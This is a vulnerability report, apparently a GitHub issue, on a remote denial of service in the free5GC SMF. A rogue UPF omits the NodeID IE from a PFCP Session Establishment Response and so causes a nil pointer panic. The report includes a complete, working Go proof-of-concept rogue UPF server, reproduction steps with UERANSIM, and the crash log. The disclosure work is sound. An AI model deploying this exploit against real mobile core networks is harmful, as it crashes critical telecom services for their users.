| Descripción | ## Bug Decription
When the SMF sends a PFCP Session Establishment Request, a malicious/rogue UPF can reply with a PFCP SessionEstablishmentResponse that omits the mandatory NodeID IE. While processing the response, SMF calls (*pfcpType.NodeID).ResolveNodeIdToIp() on a nil NodeID pointer, leading to a runtime panic and process termination. This results in a remote Denial of Service against the SMF.
### Credit
Ziyu Lin, Xiaofeng Wang, Wei Dong (Nanyang Technological University)
### CVSS3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
## To Reproduce
Steps to reproduce the behavior:
1) Start fake UPF mode:
code
```
// Vuln-PB2-09 PoC: SessionEstablishmentResponse with UPFSEID but without NodeID - DoS
// Target: free5gc SMF v4.10
// Vulnerability: NodeID not checked for nil when UPFSEID is present (datapath.go:145)
//
// This PoC implements a rogue UPF server that sends SessionEstablishmentResponse
// with UPFSEID but without NodeID, causing SMF to crash.
package main
import (
"encoding/binary"
"flag"
"fmt"
"log"
"net"
"time"
"github.com/wmnsk/go-pfcp/ie"
"github.com/wmnsk/go-pfcp/message"
)
const (
PFCPPort = 8805
)
var (
listenAddr string
verbose bool
)
func init() {
flag.StringVar(&listenAddr, "listen", "x.x.x.x", "Address to listen on")
flag.BoolVar(&verbose, "verbose", true, "Verbose output")
}
// buildMalformedSessionEstablishmentResponse creates a response with UPFSEID but without NodeID
// This triggers nil pointer dereference at datapath.go:145
func buildMalformedSessionEstablishmentResponse(reqSEID uint64, seqNum uint32, localIP net.IP) []byte {
// Build Cause IE (RequestAccepted) - needed to enter the success path
causeIE := make([]byte, 5)
binary.BigEndian.PutUint16(causeIE[0:2], 19) // Type: Cause
binary.BigEndian.PutUint16(causeIE[2:4], 1) // Length: 1
causeIE[4] = 1 // CauseValue: RequestAccepted
// Build UPFSEID IE - this triggers the vulnerable code path at line 144
upfSEID := make([]byte, 4+13) // Type(2) + Length(2) + Flags(1) + SEID(8) + IPv4(4)
binary.BigEndian.PutUint16(upfSEID[0:2], 57) // Type: UPFSEID
binary.BigEndian.PutUint16(upfSEID[2:4], 13) // Length: 13
upfSEID[4] = 0x02 // Flags: V4=1
binary.BigEndian.PutUint64(upfSEID[5:13], 1) // SEID value
copy(upfSEID[13:17], localIP.To4())
// NOTE: We intentionally DO NOT include NodeID IE
// At line 144: if rsp.UPFSEID != nil { NodeIDtoIP := rsp.NodeID.ResolveNodeIdToIp()
// When UPFSEID is present but NodeID is nil, the call to ResolveNodeIdToIp() crashes
// Calculate total payload
payload := append(causeIE, upfSEID...)
payloadLen := 8 + 3 + 1 + len(payload) // SEID(8) + SeqNum(3) + MP(1) + IEs
// Build PFCP message header
msgBuf := make([]byte, 4+payloadLen)
msgBuf[0] = 0x21 // Version 1, S=1 (SEID present)
msgBuf[1] = message.MsgTypeSessionEstablishmentResponse // Message Type: 51
binary.BigEndian.PutUint16(msgBuf[2:4], uint16(payloadLen)) // Message Length
binary.BigEndian.PutUint64(msgBuf[4:12], reqSEID) // SEID
msgBuf[12] = byte(seqNum >> 16) // Sequence Number
msgBuf[13] = byte(seqNum >> 8)
msgBuf[14] = byte(seqNum)
msgBuf[15] = 0 // Message Priority + Spare
// Append IEs
copy(msgBuf[16:], payload)
return msgBuf
}
func handlePFCPMessage(conn *net.UDPConn, buf []byte, n int, remoteAddr *net.UDPAddr, localIP net.IP) {
if n < 4 {
log.Printf("[-] Message too short: %d bytes", n)
return
}
msgType := buf[1]
log.Printf("[*] Received PFCP message type: %d from %s", msgType, remoteAddr.String())
switch msgType {
case message.MsgTypeAssociationSetupRequest:
log.Printf("[+] Received Association Setup Request")
assocResp := message.NewAssociationSetupResponse(
getSeqNum(buf),
ie.NewCause(ie.CauseRequestAccepted),
ie.NewNodeIDHeuristic(localIP.String()),
ie.NewRecoveryTimeStamp(time.Now()),
)
respBytes, _ := assocResp.Marshal()
conn.WriteToUDP(respBytes, remoteAddr)
log.Printf("[+] Sent Association Setup Response (association established)")
case message.MsgTypeSessionEstablishmentRequest:
log.Printf("[+] Received Session Establishment Request")
var cpSeid uint64
var seqNum uint32
if msg, err := message.Parse(buf[:n]); err == nil {
if req, ok := msg.(*message.SessionEstablishmentRequest); ok {
seqNum = req.Sequence()
if req.CPFSEID != nil {
if fseid, err := req.CPFSEID.FSEID(); err == nil {
cpSeid = fseid.SEID
}
}
}
}
if cpSeid == 0 && buf[0]&0x01 != 0 {
cpSeid = binary.BigEndian.Uint64(buf[4:12])
seqNum = uint32(buf[12])<<16 | uint32(buf[13])<<8 | uint32(buf[14])
}
log.Printf("[*] CP SEID: %d, SeqNum: %d", cpSeid, seqNum)
// Send malformed response (UPFSEID present but NodeID missing)
log.Printf("[!] Sending MALFORMED SessionEstablishmentResponse")
log.Printf("[!] - UPFSEID IE: PRESENT (triggers code path at line 144)")
log.Printf("[!] - NodeID IE: MISSING (causes nil dereference at line 145)")
malformedResp := buildMalformedSessionEstablishmentResponse(cpSeid, seqNum, localIP)
conn.WriteToUDP(malformedResp, remoteAddr)
log.Printf("[+] Sent malformed response (%d bytes) - SMF should crash now", len(malformedResp))
case message.MsgTypeHeartbeatRequest:
log.Printf("[*] Received Heartbeat Request")
hbResp := message.NewHeartbeatResponse(
getSeqNum(buf),
ie.NewRecoveryTimeStamp(time.Now()),
)
respBytes, _ := hbResp.Marshal()
conn.WriteToUDP(respBytes, remoteAddr)
default:
log.Printf("[*] Ignoring message type: %d", msgType)
}
}
func getSeqNum(buf []byte) uint32 {
if buf[0]&0x01 != 0 { // S flag set
return uint32(buf[12])<<16 | uint32(buf[13])<<8 | uint32(buf[14])
}
return uint32(buf[4])<<16 | uint32(buf[5])<<8 | uint32(buf[6])
}
func getLocalIP(conn *net.UDPConn) net.IP {
localAddr := conn.LocalAddr().(*net.UDPAddr)
if localAddr.IP.IsUnspecified() {
return net.ParseIP("127.0.0.1")
}
return localAddr.IP
}
func main() {
flag.Parse()
log.Printf("[*] Vuln-PB2-09 PoC: SessionEstablishmentResponse with UPFSEID but without NodeID")
log.Printf("[*] Target: free5gc SMF v4.10")
log.Printf("[*] Vulnerability: datapath.go:145 - rsp.NodeID.ResolveNodeIdToIp() nil dereference")
log.Printf("[*] ")
log.Printf("[*] Attack flow:")
log.Printf("[*] 1. SMF connects and establishes PFCP association")
log.Printf("[*] 2. SMF sends SessionEstablishmentRequest")
log.Printf("[*] 3. Rogue UPF responds with UPFSEID but WITHOUT NodeID")
log.Printf("[*] 4. SMF crashes at datapath.go:145 calling NodeID.ResolveNodeIdToIp()")
addr, err := net.ResolveUDPAddr("udp", fmt.Sprintf("%s:%d", listenAddr, PFCPPort))
if err != nil {
log.Fatalf("[-] Failed to resolve address: %v", err)
}
conn, err := net.ListenUDP("udp", addr)
if err != nil {
log.Fatalf("[-] Failed to listen: %v", err)
}
defer conn.Close()
localIP := getLocalIP(conn)
log.Printf("[+] Rogue UPF listening on %s:%d", listenAddr, PFCPPort)
log.Printf("[*] Waiting for SMF connection...")
buf := make([]byte, 4096)
for {
n, remoteAddr, err := conn.ReadFromUDP(buf)
if err != nil {
log.Printf("[-] Read error: %v", err)
continue
}
handlePFCPMessage(conn, buf[:n], n, remoteAddr, localIP)
}
}
```
run `go run ./main.go -listen 10.100.200.2`
2) Attach UE and establish a PDU session using UERANSIM.
```
sudo /home/ubuntu/UERANSIM/cmake-build-release/nr-gnb -c /home/ubuntu/UERANSIM/config/gnbcfg-free5gc.yaml
sudo /home/ubuntu/UERANSIM/cmake-build-release/nr-ue -c /home/ubuntu/free5gc-compose/config/uecfg.yaml
```
3) The rogue UPF waits for the SMF to send a PFCP SessionEstablishmentRequest; once received, it replies with a malformed PFCP SessionEstablishmentResponse that omits the mandatory NodeID IE, which triggers a nil pointer dereference in the SMF during response processing.
## Expected Behavior
SMF should validate mandatory IEs in SessionEstablishmentResponse (including NodeID) and, if missing, reject the response gracefully (e.g., log an error, abort the PFCP session setup, and keep the SMF process running).
## Screenshots
<img width="874" height="156" alt="Image" src="https://github.com/user-attachments/assets/862ba810-ecec-4348-a83d-f9e9985ded94" />
## Environment
- free5GC Version: v4.1.0
- OS: Ubuntu 22.04 Server
- Kernel version: [e.g. 5.15.0-0-generic]
- go version: go version go1.24.9 linux/amd64
## Trace Files
### Configuration Files
Provide the configuration files.
If you are unsure of what to do, please zip free5gc's `config` folder and upload it here.
### PCAP File
Dump the relevant packets and provide the PCAP file.
If you are unsure of what to do, use the following command before reproducing the bug: `sudo tcpdump -i any -w free5gc.pcap`. Then, please upload the `free5gc.pcap` file here.
### Log File
```
2026-01-20T04:52:10.646569237Z [INFO][SMF][PduSess] Sending PFCP Session Establishment Request
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0xb079f2]
goroutine 128 [running]:
github.com/free5gc/pfcp/pfcpType.(*NodeID).ResolveNodeIdToIp(0x0?)
/go/pkg/mod/github.com/free5gc/[email protected]/pfcpType/NodeID.go:108 +0x12
github.com/free5gc/smf/internal/sbi/processor.establishPfcpSession(0xc0005f6008, 0xc000128e80, 0xc000215340)
/go/src/free5gc/NFs/smf/internal/sbi/processor/datapath.go:145 +0x2cb
created by github.com/free5gc/smf/internal/sbi/processor.ActivateUPFSession in goroutine 137
/go/src/free5gc/NFs/smf/internal/sbi/processor/datapath.go:94 +0x305
``` |
|---|